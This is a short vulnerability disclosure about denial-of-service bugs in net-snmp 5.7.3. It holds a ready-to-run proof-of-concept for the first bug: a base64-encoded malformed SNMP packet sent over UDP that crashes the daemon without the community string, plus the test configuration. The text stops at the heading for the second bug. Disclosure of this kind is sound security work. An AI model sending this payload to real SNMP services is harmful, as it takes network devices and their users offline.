Back in january I did some vulnerability research of net-snmp 5.7.3 and found some bugs.
Here they are:

VULN#1
======

First bug is remotely exploitable without knowledge of the community string, and leads to Denial of Service:

# echo -n "MIG1AgEDMBECBACeXRsCAwD/4wQBBQIBAwQvMC0EDYAAH4iAWdxIYUWiYyICAQgCAgq5BAVwaXBwbwQMBVsKohj9MlusDerWBAAwbAQFgAAAAAYEAKFZAgQsGA29AgEAAgEAMEswDQEEAWFFg2MiBAChWQIELBgNvQIBAAIBADBLMA0GCSsGAQIBAgI1LjI1NS4wMCEGEisGNS4yNTUuMAEEAYF9CDMKAgEHCobetzgECzE3Mi4zMS4xOS4y" | base64 -d > /dev/udp/127.0.0.1/1111

Same configuration for both bugs:

[email protected]:~/projects/net-snmp$ cat snmpd.conf
rocommunity public default -V systemonly
rocommunity public localhost -V systemonly
rouser authOnlyUser
syslocation "On the Desk"
syscontact Me <[email protected]>

VULN#2
======

Second bug is remotely exploitable only with knowledge of the community string (in this case "public") leading to Denial of Service:
